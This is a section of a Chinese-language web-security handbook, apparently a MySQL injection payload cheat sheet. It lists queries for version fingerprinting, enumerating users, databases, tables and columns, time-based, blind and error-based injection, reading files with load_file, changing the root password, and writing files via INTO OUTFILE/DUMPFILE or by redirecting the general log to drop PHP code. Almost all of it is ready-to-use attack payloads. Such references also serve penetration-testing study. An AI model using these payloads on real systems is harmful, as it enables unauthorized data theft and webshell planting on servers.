4.1.7.2. MySQL Payload

4.1.7.2.1. 常见Payload

  • Version
    • SELECT @@version
  • Comment
    • SELECT 1 -- comment
    • SELECT 1 # comment
    • SELECT /*comment*/1
  • Space
    • 0x9 0xa-0xd 0x20 0xa0
  • Current User
    • SELECT user()
    • SELECT system_user()
    • SELECT current_role()
  • List User
    • SELECT user FROM mysql.user
  • Current Database
    • SELECT database()
  • List Database
    • SELECT schema_name FROM information_schema.schemata
  • List Tables
    • SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  • List Columns
    • SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  • If
    • SELECT if(1=1,'foo','bar'); return 'foo'
  • Ascii
    • SELECT char(0x41)
    • SELECT ascii('A')
    • SELECT 0x414243 => return ABC
  • Delay
    • sleep(1)
    • SELECT BENCHMARK(1000000,MD5('A'))
  • Read File
    • select @@datadir
    • select load_file('databasename/tablename.MYD')
  • Blind
    • ascii(substring(str,pos,length)) & 32 = 1
  • Error Based
    • select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
    • select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))
  • Change Password
    • mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"

4.1.7.2.1.1. 报错注入常见函数

  • extractvalue
  • updatexml
  • GeometryCollection
  • linestring
  • multilinestring
  • multipoint
  • multipolygon
  • polygon
  • exp

4.1.7.2.2. 写文件

4.1.7.2.2.1. 写文件前提

  • root 权限
  • 知晓文件绝对路径
  • 写入的路径存在写入权限
  • secure_file_priv 允许向对应位置写入
  • select count(file_priv) from mysql.user

4.1.7.2.2.2. 基于 into 写文件

union select 1,1,1 into outfile '/tmp/demo.txt'
union select 1,1,1 into dumpfile '/tmp/demo.txt'

dumpfile和outfile不同在于，outfile会在行末端写入新行，会转义换行符，如果写入二进制文件，很可能被这种特性破坏

4.1.7.2.2.3. 基于 log 写文件

show variables like '%general%';
set global general_log = on;
set global general_log_file = '/path/to/file';
select '<?php var_dump("test");?>';
set global general_log_file = '/original/path';
set global general_log = off;